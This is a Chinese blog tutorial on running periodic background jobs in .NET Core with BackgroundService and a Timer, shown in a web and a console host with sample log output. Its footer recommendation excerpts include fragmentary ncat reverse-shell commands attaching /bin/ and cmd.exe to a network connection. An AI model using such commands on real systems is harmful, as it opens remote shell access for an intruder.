.NET Core 2.0 引入了 IHostedService ,基于它可以很方便地执行后台任务,.NET Core 2.1 则锦上添花地提供了 IHostedService 的默认实现基类 BackgroundService ,在这篇随笔中分别用 Web 与 Console 程序体验一下。

首先继承 BackgroundService 实现一个 TimedBackgroundService

public class TimedBackgroundService : BackgroundService
{
private readonly ILogger _logger;
private Timer _timer; public TimedBackgroundService(ILogger<TimedBackgroundService> logger)
{
_logger = logger;
} protected override Task ExecuteAsync(CancellationToken stoppingToken)
{
_timer = new Timer(DoWork, null, TimeSpan.Zero, TimeSpan.FromSeconds(5));
return Task.CompletedTask;
} private void DoWork(object state)
{
_logger.LogInformation($"Hello World! - {DateTime.Now}");
} public override void Dispose()
{
base.Dispose();
_timer?.Dispose();
}
}

在 ASP.NET Core Web 程序中执行这个后台定时任务只需在 Startup 的 ConfigureServices 注册 TimedBackgroundService 即可:

public void ConfigureServices(IServiceCollection services)
{
services.AddHostedService<TimedBackgroundService>();
}

然后只要站点启动,就会定时输出日志:

Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:48:02
info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:48:07
info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:48:12

接下来在控制台程序中体验一下。

基于 Generic Host 实现如下的控制台程序,也是执行在 ConfigureServices 中注册一下 TimedBackgroundService 。

class Program
{
public static async Task Main(string[] args)
{
var builder = new HostBuilder()
.ConfigureLogging(logging =>
{
logging.AddConsole();
})
.ConfigureServices((hostContext, services) =>
{
services.AddHostedService<TimedBackgroundService>();
}); await builder.RunConsoleAsync();
}
}

dotnet run 运行程序后 TimedBackgroundService 定时输出了日志:

info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:59:37
info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:59:42
info: BackgroundServiceSample.Services.TimedBackgroundService[0]
Hello World! - 9/14/2018 17:59:47

体验完成。

.NET Core 中基于 IHostedService 实现后台定时任务的更多相关文章

  1. .NET Core中使用IHostedService结合队列执行定时任务

    最近遇到了这样的场景:每隔一段时间,需要在后台使用队列对一批数据进行业务处理. Quartz.NET是一种选择,在 .NET Core中,可以使用IHostedService执行后台定时任务.在本篇中 ...

  2. NET Core中基于Generic Host来实现后台任务

    NET Core中基于Generic Host来实现后台任务 https://www.cnblogs.com/catcher1994/p/9961228.html 目录 前言 什么是Generic H ...

  3. 谈谈.NET Core中基于Generic Host来实现后台任务

    目录 前言 什么是Generic Host 后台任务示例 控制台形式 消费MQ消息的后台任务 Web形式 部署 IHostedService和BackgroundService的区别 IHostBui ...

  4. ASP.NET Core 中基于 API Key 对私有 Web API 进行保护

    这两天遇到一个应用场景,需要对内网调用的部分 web api 进行安全保护,只允许请求头账户包含指定 key 的客户端进行调用.在网上找到一篇英文博文 ASP.NET Core - Protect y ...

  5. ASP.NET Core 中基于工厂的中间件激活

    IMiddlewareFactory/IMiddleware 是中间件激活的扩展点. UseMiddleware 扩展方法检查中间件的已注册类型是否实现 IMiddleware. 如果是,则使用在容器 ...

  6. .NET Core中使用RabbitMQ正确方式

    .NET Core中使用RabbitMQ正确方式 首先甩官网:http://www.rabbitmq.com/ 然后是.NET Client链接:http://www.rabbitmq.com/dot ...

  7. .NET Core 中的通用主机和后台服务

    简介 我们在做项目的时候, 往往要处理一些后台的任务. 一般是两种, 一种是不停的运行,比如消息队列的消费者.另一种是定时任务. 在.NET Framework + Windows环境里, 我们一般会 ...

  8. 在ASP.NET Core中创建基于Quartz.NET托管服务轻松实现作业调度

    在这篇文章中,我将介绍如何使用ASP.NET Core托管服务运行Quartz.NET作业.这样的好处是我们可以在应用程序启动和停止时很方便的来控制我们的Job的运行状态.接下来我将演示如何创建一个简 ...

  9. .net core 基于 IHostedService 实现定时任务

    .net core 基于 IHostedService 实现定时任务 Intro 从 .net core 2.0 开始,开始引入 IHostedService,可以通过 IHostedService ...

随机推荐

  1. ado.net 之 oracle 数据库

    ado.net 操作oracle 数据库 跟操作mssql 的原来基本一样.只是使用不同的命名空间而已.下面举几个例子: 一. C#读取oracle数据库的表格 ///ado.net 读取table ...

  2. 查看和设置MySQL数据库字符集(转)

    查看和设置MySQL数据库字符集作者:scorpio 2008-01-21 10:05:17 标签: 杂谈 Liunx下修改MySQL字符集:1.查找MySQL的cnf文件的位置find / -ina ...

  3. 写给自己看的vue

    学习过程:自学(个人demo驱动),论坛,qq群多少听到vue,react(很抱歉只弄了hello world demo 虚拟dom 也是概念 到目前也没弄清楚)这类框架(工作经历前后端都折腾,老板指 ...

  4. 【原创】大叔问题定位分享(28)openssh升级到7.4之后ssh跳转异常

    服务器集群之间忽然ssh跳转不通 # ssh 192.168.0.1The authenticity of host '192.168.0.1 (192.168.0.1)' can't be esta ...

  5. git remote: HTTP Basic: Access denied Mac 使用Sourcetree 密码输错 再次输入解决方案

    删除下面的key即可

  6. json,HTTP协议

    JSON 语法规则 JSON 语法是 JavaScript 对象表示语法的子集. 数据在名称/值对中 数据由逗号分隔 大括号保存对象 中括号保存数组 JSON 对象 JSON 对象使用在大括号({}) ...

  7. 使用Ncat反弹Shell

    ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe

  8. 原生JavaScript中动画与特效的实现原理

    现如今,许多页面上均有一些动画效果.适当的动画效果可以在一定程度上提高页面的美观度,具有提示效果的动画可以增强页面的易用性. 实现页面动画的途径一般有两种. 一种是通过操作JavaScript间接操作 ...

  9. css变量使用

    CSS中的变量给了我们诸多优点:方便.代码重用.更可靠的代码库和提升防错能力.(此句转) 变量虽好用,但是兼容是在不怎么样:点这里查看. 一.变量的声明 :root { --base-font-siz ...

  10. MyBatis入门(一)SqlSessionFactory

    (1)新建数据库 CREATE TABLE emp ( id INT ( 10 ) PRIMARY KEY auto_increment, last_name VARCHAR(255), gender ...